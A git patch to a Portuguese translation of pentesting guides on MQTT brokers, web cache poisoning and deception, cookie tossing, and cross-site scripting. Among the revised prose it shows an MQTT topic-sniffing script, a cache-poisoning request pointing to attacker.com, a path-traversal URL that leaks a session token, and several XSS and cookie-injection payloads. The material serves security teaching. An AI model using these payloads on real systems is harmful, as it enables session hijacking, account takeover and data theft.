From 9070490603ea4348eb0d62de0545ce66d6b1b0e0 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Mar 2025 11:33:40 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/1883-pentesting-mqtt-mosqui --- .../1883-pentesting-mqtt-mosquitto.md | 12 +-- src/pentesting-web/cache-deception/README.md | 56 ++++++----- .../hacking-with-cookies/cookie-tossing.md | 19 ++-- .../xss-cross-site-scripting/README.md | 99 +++++++++---------- 4 files changed, 95 insertions(+), 91 deletions(-) diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 8b581ff87..7ccf4edbf 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -24,7 +24,7 @@ Por exemplo, se o broker rejeitar a conexão devido a credenciais inválidas, o ``` ![](<../images/image (976).png>) -### [**Força Bruta MQTT**](../generic-hacking/brute-force.md#mqtt) +### [**Brute-Force MQTT**](../generic-hacking/brute-force.md#mqtt) ## Pentesting MQTT @@ -44,7 +44,7 @@ apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' mosquitto_sub -h -t "#" -v #Subscribe to ALL topics. ``` -Ou você poderia **executar este código para tentar se conectar a um serviço MQTT sem autenticação, assinar todos os tópicos e ouvi-los**: +Ou você poderia **executar este código para tentar se conectar a um serviço MQTT sem autenticação, se inscrever em todos os tópicos e ouvi-los**: ```python #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py import paho.mqtt.client as mqtt @@ -73,16 +73,12 @@ client.loop_start() if __name__ == "__main__": main() ``` -## Mais informações - -from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) - ### O Padrão Publish/Subscribe O modelo publish/subscribe é composto por: -- **Publisher**: publica uma mensagem em um (ou muitos) tópico(s) no broker. -- **Subscriber**: se inscreve em um (ou muitos) tópico(s) no broker e recebe todas as mensagens enviadas pelo publisher. +- **Publisher**: publica uma mensagem em um (ou vários) tópico(s) no broker. +- **Subscriber**: se inscreve em um (ou vários) tópico(s) no broker e recebe todas as mensagens enviadas pelo publisher. - **Broker**: roteia todas as mensagens dos publishers para os subscribers. - **Topic**: consiste em um ou mais níveis que são separados por uma barra (por exemplo, /smartshouse/livingroom/temperature). diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 1e8dc2f88..50f7cbbb7 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -1,17 +1,17 @@ -# Envenenamento de Cache e Decepção de Cache +# Cache Poisoning and Cache Deception {{#include ../../banners/hacktricks-training.md}} ## A diferença -> **Qual é a diferença entre envenenamento de cache web e decepção de cache web?** +> **Qual é a diferença entre envenenamento de cache da web e engano de cache da web?** > -> - No **envenenamento de cache web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação. -> - Na **decepção de cache web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache. +> - No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação. +> - No **engano de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache. ## Envenenamento de Cache -O envenenamento de cache visa manipular o cache do lado do cliente para forçar os clientes a carregar recursos que são inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente para usuários que visitam a página durante o período de contaminação do cache. +O envenenamento de cache visa manipular o cache do lado do cliente para forçar os clientes a carregar recursos que são inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, uma vez que a resposta contaminada é servida exclusivamente para usuários que visitam a página durante o período de contaminação do cache. A execução de um ataque de envenenamento de cache envolve várias etapas: @@ -25,7 +25,7 @@ Geralmente, quando uma resposta foi **armazenada em cache**, haverá um **cabeç ### Descoberta: Códigos de erro de cache -Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho inválido**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS). +Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS). Você pode encontrar mais opções em: @@ -52,11 +52,11 @@ Uma vez que você tenha **identificado** a **página** que pode ser abusada, qua O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\ O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800` -Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam chaveados. Portanto, se o usuário souber o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam aquele `User-Agent` específico. +Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam indexados. Portanto, se o usuário souber o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam aquele `User-Agent` específico. Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy. -Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **diferentes navegadores** para verificar se está funcionando. +Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **indexados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **diferentes navegadores** para verificar se está funcionando. ## Exemplos de Exploração @@ -77,9 +77,17 @@ _Note que isso irá envenenar uma solicitação para `/en?region=uk` e não para cache-poisoning-to-dos.md {{#endref}} -### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies +### Envenenamento de cache através de CDNs -Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa. +Em **[este artigo](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** é explicado o seguinte cenário simples: + +- A CDN irá armazenar em cache qualquer coisa sob `/share/` +- A CDN NÃO irá decodificar nem normalizar `%2F..%2F`, portanto, pode ser usada como **traversal de caminho para acessar outras localizações sensíveis que serão armazenadas em cache** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- O servidor web Irá decodificar e normalizar `%2F..%2F`, e irá responder com `/api/auth/session`, que **contém o token de autenticação**. + +### Usando envenenamento de cache web para explorar vulnerabilidades de manipulação de cookies + +Cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa. ```html GET / HTTP/1.1 Host: vulnerable.com @@ -97,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md ### Envenenamento de cache com travessia de caminho para roubar chave da API -[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web. +[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web. Isso também é explicado melhor em: @@ -107,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md ### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web -Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento. +Às vezes, você precisará **explorar várias entradas não chaveadas** para conseguir abusar de um cache. Por exemplo, você pode encontrar um **Redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -125,7 +133,7 @@ X-Host: attacker.com ``` ### Fat Get -Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar em cache o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github: +Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar o do corpo, mas o servidor de cache armazenar o da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -136,7 +144,7 @@ report=innocent-victim ``` There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Ocultação de Parâmetros +### Encobrimento de Parâmetros Por exemplo, é possível separar **parâmetros** em servidores ruby usando o caractere **`;`** em vez de **`&`**. Isso pode ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusar deles. @@ -168,31 +176,31 @@ GitLab usa buckets GCP para armazenar conteúdo estático. **Buckets GCP** supor ### Rack Middleware (Ruby on Rails) -Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma negação de serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança. +Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho **`x-forwarded-scheme`** e defini-lo como o esquema da solicitação. Quando o cabeçalho `x-forwarded-scheme: http` é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma Negação de Serviço (DoS) a esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho `X-forwarded-host` e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança. ### 403 e Buckets de Armazenamento -O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy. +O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de Autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy. ### Injetando Parâmetros Chaveados -Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenava em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request armazenável em cache. +Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish da Fastly armazenou em cache o parâmetro `size` nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, `siz%65`) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro `size` correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro `size` levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache. ### Regras de User Agent -Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS. +Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS. ### Campos de Cabeçalho Ilegais -O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde enviar um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request armazenável em cache. +O [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo **tchar** especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho `cache-control` não esteja presente. Um padrão explorável foi identificado onde o envio de um cabeçalho com um caractere ilegal, como `\`, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache. ### Encontrando novos cabeçalhos [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Decepção de Cache +## Engano de Cache -O objetivo da Decepção de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**. +O objetivo do Engano de Cache é fazer com que os clientes **carreguem recursos que serão salvos pelo cache com suas informações sensíveis**. Primeiro, note que **extensões** como `.css`, `.js`, `.png` etc. são geralmente **configuradas** para serem **salvas** no **cache.** Portanto, se você acessar `www.example.com/profile.php/nonexistent.js`, o cache provavelmente armazenará a resposta porque vê a **extensão** `.js`. Mas, se a **aplicação** estiver **reproduzindo** com os conteúdos **sensíveis** do usuário armazenados em _www.example.com/profile.php_, você pode **roubar** esses conteúdos de outros usuários. @@ -206,12 +214,12 @@ Outras coisas a testar: - _Use extensões menos conhecidas como_ `.avif` Outro exemplo muito claro pode ser encontrado neste relatório: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache irá salvar o resultado.\ +No exemplo, é explicado que se você carregar uma página inexistente como _http://www.example.com/home.php/non-existent.css_, o conteúdo de _http://www.example.com/home.php_ (**com as informações sensíveis do usuário**) será retornado e o servidor de cache salvará o resultado.\ Então, o **atacante** pode acessar _http://www.example.com/home.php/non-existent.css_ em seu próprio navegador e observar as **informações confidenciais** dos usuários que acessaram antes. -Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo MIME `text/css` (que é o esperado para um arquivo _.css_). +Note que o **proxy de cache** deve ser **configurado** para **armazenar em cache** arquivos **baseados** na **extensão** do arquivo (_.css_) e não com base no content-type. No exemplo _http://www.example.com/home.php/non-existent.css_ terá um content-type `text/html` em vez de um tipo mime `text/css` (que é o esperado para um arquivo _.css_). -Aprenda aqui como realizar [ataques de Decepção de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Aprenda aqui como realizar [ataques de Engano de Cache abusando do HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Ferramentas Automáticas diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 171429e4a..f5aca6f5d 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -6,7 +6,7 @@ Se um atacante pode **controlar um subdomínio ou o domínio de uma empresa ou encontra um XSS em um subdomínio**, ele será capaz de realizar este ataque. -Como foi indicado na seção de Cookies Hacking, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.** +Como foi indicado na seção de Hacking de Cookies, quando um **cookie é definido para um domínio (especificando-o), ele será usado no domínio e subdomínios.** > [!CAUTION] > Portanto, **um atacante poderá definir para o domínio e subdomínios um cookie específico fazendo algo como** `document.cookie="session=1234; Path=/app/login; domain=.example.com"` @@ -14,7 +14,8 @@ Como foi indicado na seção de Cookies Hacking, quando um **cookie é definido Isso pode ser perigoso, pois o atacante pode ser capaz de: - **Fixar o cookie da vítima na conta do atacante**, então se o usuário não perceber, **ele realizará as ações na conta do atacante** e o atacante pode obter algumas informações interessantes (ver o histórico de buscas do usuário na plataforma, a vítima pode configurar seu cartão de crédito na conta...) -- Se o **cookie não mudar após o login**, o atacante pode apenas **fixar um cookie (session-fixation)**, esperar até que a vítima faça login e então **usar esse cookie para fazer login como a vítima**. +- Um exemplo disso [pode ser encontrado aqui](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) onde o atacante definiu seu cookie em seções específicas que uma vítima usará para autorizar **acesso aos seus repositórios git, mas a partir da conta do atacante**, já que ele estará definindo seus cookies nos endpoints necessários. +- Se o **cookie não mudar após o login**, o atacante pode simplesmente **fixar um cookie (session-fixation)**, esperar até que a vítima faça login e então **usar esse cookie para fazer login como a vítima**. - Às vezes, mesmo que os cookies de sessão mudem, o atacante usa o anterior e também receberá o novo. - Se o **cookie estiver definindo algum valor inicial** (como no flask onde o **cookie** pode **definir** o **token CSRF** da sessão e esse valor será mantido após a vítima fazer login), o **atacante pode definir esse valor conhecido e então abusar dele** (nesse cenário, o atacante pode então fazer o usuário realizar uma solicitação CSRF, pois ele conhece o token CSRF). - Assim como definir o valor, o atacante também poderia obter um cookie não autenticado gerado pelo servidor, obter o token CSRF dele e usá-lo. @@ -23,24 +24,24 @@ Isso pode ser perigoso, pois o atacante pode ser capaz de: Quando um navegador recebe dois cookies com o mesmo nome **afetando parcialmente o mesmo escopo** (domínio, subdomínios e caminho), o **navegador enviará ambos os valores do cookie** quando ambos forem válidos para a solicitação. -Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` +Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro, como em: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` -A maioria dos **sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico. +A maioria **dos sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico. > [!WARNING] > Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer com que a **vítima trabalhe com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado antes**. ### Bypass de Proteção -Uma possível proteção contra este ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas dois valores diferentes**. +Uma possível proteção contra este ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas com dois valores diferentes**. -Para contornar o cenário onde o atacante está definindo um cookie após a vítima já ter recebido o cookie, o atacante poderia causar um **cookie overflow** e então, uma vez que o **cookie legítimo é deletado, definir o malicioso**. +Para contornar o cenário em que o atacante está definindo um cookie após a vítima já ter recebido o cookie, o atacante poderia causar um **overflow de cookie** e então, uma vez que o **cookie legítimo é deletado, definir o malicioso**. {{#ref}} cookie-jar-overflow.md {{#endref}} -Outro **bypass** útil poderia ser **URL codificar o nome do cookie**, pois algumas proteções verificam 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies. +Outro **bypass** útil poderia ser **URL codificar o nome do cookie**, já que algumas proteções verificam 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies. ### Cookie Bomb @@ -54,8 +55,8 @@ cookie-bomb.md #### **Use o prefixo `__Host` no nome do cookie** -- Se um nome de cookie tiver esse prefixo, ele **será aceito apenas** em uma diretiva Set-Cookie se estiver marcado como Seguro, foi enviado de uma origem segura, não inclui um atributo Domain e tem o atributo Path definido como / -- **Isso impede que subdomínios forcem um cookie para o domínio principal, uma vez que esses cookies podem ser vistos como "bloqueados por domínio"** +- Se um nome de cookie tiver esse prefixo, ele **será aceito** em uma diretiva Set-Cookie apenas se estiver marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo Domain e tiver o atributo Path definido como / +- **Isso impede que subdomínios forcem um cookie para o domínio principal, já que esses cookies podem ser vistos como "bloqueados por domínio"** ### Referências diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 7bee7bfb9..dc42cc370 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -11,7 +11,7 @@ 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md). -5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendentes - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? +5. Se você não pode criar tags HTML que executem código JS, você poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto HTML bruto? 2. Você pode criar novos eventos/atributos para executar código JS? @@ -19,7 +19,7 @@ 4. Você pode contornar proteções? 3. Dentro do **código JavaScript**: 1. Você pode escapar da tag ` ``` -Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois. +Note que neste exemplo **não fechamos nem mesmo a aspa simples**. Isso ocorre porque **a análise de HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados é realizada apenas depois. ### Dentro do código JS -Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe JS**, porque se houver erros, o código JS não será executado: +Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver erros, o código JS não será executado: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -488,7 +488,7 @@ Se `<>` estão sendo sanitizados, você ainda pode **escapar a string** onde sua ``` ### Template literals \`\` -Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permitem **expressões JS embutidas** usando a sintaxe `${ ... }`.\ +Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como template literals, pois permite **expressões JS embutidas** usando a sintaxe `${ ... }`.\ Portanto, se você descobrir que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: Isso pode ser **abusado** usando: @@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36)) /**/ ``` -**Comentários JavaScript (do** [**Comentários JavaScript**](#javascript-comments) **truque)** +**Comentários JavaScript (do** [**truque Comentários JavaScript**](#javascript-comments) **)** ```javascript //This is a 1 line comment /* This is a multiline comment*/ @@ -753,13 +753,13 @@ Além disso, não se esqueça de que **no final do post mencionado** você pode ### Cookie XSS -Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, poderá abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing: +Se você puder acionar um XSS enviando a carga útil dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso, você pode usar o ataque de cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Você pode encontrar um grande abuso dessa técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +Você pode encontrar um grande abuso dessa técnica em [**este post de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Enviando sua sessão para o admin @@ -767,7 +767,7 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es ### Espelhamento de Sessão -Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão. +Se você encontrar algum self XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes peçam ajuda, para que o admin possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão. Você poderia fazer o **administrador acionar seu self XSS** e roubar seus cookies/sessão. @@ -783,12 +783,12 @@ Você poderia verificar se os **valores refletidos** estão sendo **normalizados ``` ### Ruby-On-Rails bypass -Devido à **atribuição em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ +Devido à **atribuição em massa do RoR**, as aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ Exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -A dupla "Key","Value" será retornada assim: +O par "Key","Value" será retornado assim: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` @@ -826,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS com injeção de cabeçalho em uma resposta 302 -Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil. +Se você descobrir que pode **injetar cabeçalhos em uma resposta de Redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso não é **trivial**, pois navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de cross-site scripting é inútil. Em [**este relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste aqui**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\ Protocolos conhecidos no passado: `mailto://`, `//x:1/`, `ws://`, `wss://`, 